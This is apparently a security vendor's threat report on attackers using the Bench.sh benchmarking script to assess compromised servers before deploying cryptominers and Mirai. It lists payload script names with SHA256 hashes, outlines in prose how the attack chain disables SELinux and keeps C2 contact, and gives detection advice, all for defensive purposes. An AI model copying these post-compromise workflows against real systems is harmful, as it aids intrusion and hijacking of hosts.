Bench.sh is widely known as a simple wrapper script used to test system and network performance. It typically downloads a benchmarking tool (often Speedtest), runs a series of checks, and prints results in a readable format. Originally released as an open-source utility by Teddysun, it has been commonly used by system administrators to validate VPS and cloud server performance.
However, recent observations show that this same tool is increasingly being used by attackers after they gain access to systems. While the script itself is not malicious, its presence during unauthorized activity provides an important signal of attacker behavior.
Our telemetry data shows repeated usage of Bench.sh across multiple intrusion attempts targeting exposed services such as:
- JupyterLab
- Jupyter Notebook
- SSH services
- Apache Tomcat servers
- PHP-based web applications
Because of how frequently it appeared across unrelated attack paths, we analyzed its role in more detail to understand how it fits into attacker workflows and how defenders can detect it early.
Key Findings
Bench.sh has effectively become a standard reconnaissance tool used after initial compromise. Attackers rely on it to quickly evaluate the capabilities of a system before deciding what to do next.
From observed activity, several important patterns emerged:
- Attackers use Bench.sh to measure CPU, disk I/O, memory, and network performance.
- The tool helps determine whether a compromised host is worth further use (e.g., mining, proxying, or botnet activity).
- It was observed in hundreds of attacks across different services, suggesting broad adoption rather than a single campaign.
- Two main behaviors were identified:
- Reconnaissance-only activity
- Reconnaissance followed by payload deployment
Additionally, discussions on underground forums and Telegram channels show that Bench.sh is commonly used not only after compromise but also during infrastructure setup.
Why Attackers Use Bench.sh
Once attackers gain access to a system, they need to quickly understand what kind of machine they are dealing with. Bench.sh provides that insight within seconds.
The script automates checks such as:
- CPU performance
- Disk read/write speed
- Available memory
- Network throughput
- Connectivity to external servers
With this data, attackers can make fast decisions, including:
- Whether the system is worth monetizing
- If it can handle cryptomining workloads
- Whether it has enough bandwidth for proxy or DDoS use
- If a GPU might be present
- Whether the system is restricted, throttled, or sandboxed
In simple terms, Bench.sh acts as a post-compromise evaluation tool. It helps attackers decide whether to continue or abandon the target.
Observed Attack Patterns
1. Reconnaissance-Only Activity
In multiple cases, attackers executed Bench.sh and did nothing further.
This behavior suggests they were:
- Checking system performance
- Looking for GPU capability
- Testing network quality
- Filtering out weak or low-value systems
Since our honeypot systems do not provide strong resources or GPU access, attackers likely discarded them after testing.
2. Benchmarking Followed by Payload Deployment
In more serious cases, Bench.sh was only the first step.
After running benchmarks, attackers downloaded and executed additional scripts, including:
- load.sh
Prepares the system environment and installs required tools
SHA256:a86344620ce97d6c8c98ca41681ee58fac025f558118f9b9b11c89cd34bcc996 - payload.sh
Deploys cryptomining software and Mirai malware
SHA256:e57dbb59109cf956078ab184573f0bf18df9a0626401cc6ce85a845419fa028c - da.sh
Disables protections such as SELinux
SHA256:1e95f8577ff291cb7aa62e798804a8ab73c99684d17ac973d481fd8a18b8090e - update.sh
Maintains communication with command-and-control (C2) infrastructure
SHA256:c7813f789c5597ccd740dceb67898cdc4d51edfb3fd8e9e1c8fbbb1aa8512303
Additional payloads included:
- Cryptominer binary
SHA256:b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d - Mirai malware binary
SHA256:a59c9100954f759717339c440521f04a20717eb285e2ccd4effab5f965e67e1c
About Mirai Malware
Mirai is a well-known botnet malware family that targets internet-connected devices by brute-forcing login credentials.
Once infected, systems are controlled remotely and used for:
- Distributed Denial-of-Service (DDoS) attacks
- Internet-wide scanning
- Further infection of other systems
Since its source code became public in 2016, Mirai has continued to evolve and remains widely used in botnet operations.
Lab Analysis of Bench.sh
To better understand whether Bench.sh itself performs any hidden malicious activity, we tested it in a controlled lab environment.
The script was executed and monitored using Tracee, an eBPF-based runtime security tool.
Observed Behavior
- HTTP requests using curl
- File download activity
- Standard network-related system calls
Not Observed
- Suspicious process spawning
- CPU stress or heavy computation
- Disk benchmarking execution (within the observed window)
- Abnormal shell execution chains
This indicates that the script itself behaves as expected. It does not inherently perform malicious actions.
However, its usage context is what makes it relevant in threat detection.
Presence in Cybercrime Ecosystem
Bench.sh is not only seen in attack logs but also frequently mentioned in underground communities.
We observed references across forums and Telegram groups where threat actors discussed:
- Using it on compromised VPS systems
- Including it in automated exploitation workflows
- Running it before deploying botnets or C2 panels
Infrastructure Validation Workflow
A common pattern observed:
- Acquire or compromise a VPS
- Run Bench.sh to evaluate performance
- Deploy malicious tools if the system meets requirements
This mirrors legitimate DevOps practices, where infrastructure is tested before production use.
Geolocation and Network Testing
Bench.sh is often used alongside other tools such as:
- IP geolocation checkers
- Latency measurement scripts
- Network filtering and censorship tests
This suggests attackers are also evaluating:
- Routing stability
- Regional network behavior
- Provider restrictions
In some discussions, attackers specifically refer to finding “clean” VPS infrastructure, indicating a preference for reliable and unrestricted hosting environments.
Security Implications
Bench.sh itself is not harmful. However, its execution in an unexpected environment can serve as an early warning sign. It often appears during the evaluation phase of an attack, before actual payload deployment. This creates a critical opportunity for defenders.
Recommendations for SOC Teams
Security teams should treat Bench.sh execution as a meaningful signal when it occurs unexpectedly.
Detection Opportunities
- Monitor for execution of benchmarking scripts on production systems
- Track curl requests to known benchmarking script sources
- Detect unexpected Speedtest or similar tools running on servers
- Identify sequences of script downloads from a single source
Behavioral Correlation
Investigate further if Bench.sh is seen alongside:
- Newly created cron jobs
- Unknown outbound connections
- Additional script downloads
- Privilege modification attempts
Response Strategy
- Treat Bench.sh activity as early-stage attacker reconnaissance
- Prioritize rapid containment before payload deployment
- Review system integrity and persistence mechanisms
Threat Intelligence Integration
- Monitor underground forums and Telegram channels for emerging attacker workflows
- Track tools commonly used during post-exploitation phases
- Use this intelligence to strengthen detection rules and playbooks
Conclusion
Bench.sh is a good example of how legitimate tools can be repurposed in malicious operations. While harmless on its own, its presence during unauthorized activity provides valuable insight into attacker intent. Understanding this stage of attacker behavior allows defenders to act early—often before damage is done. Recognizing small signals like benchmarking activity can make a significant difference in stopping an intrusion before it escalates.
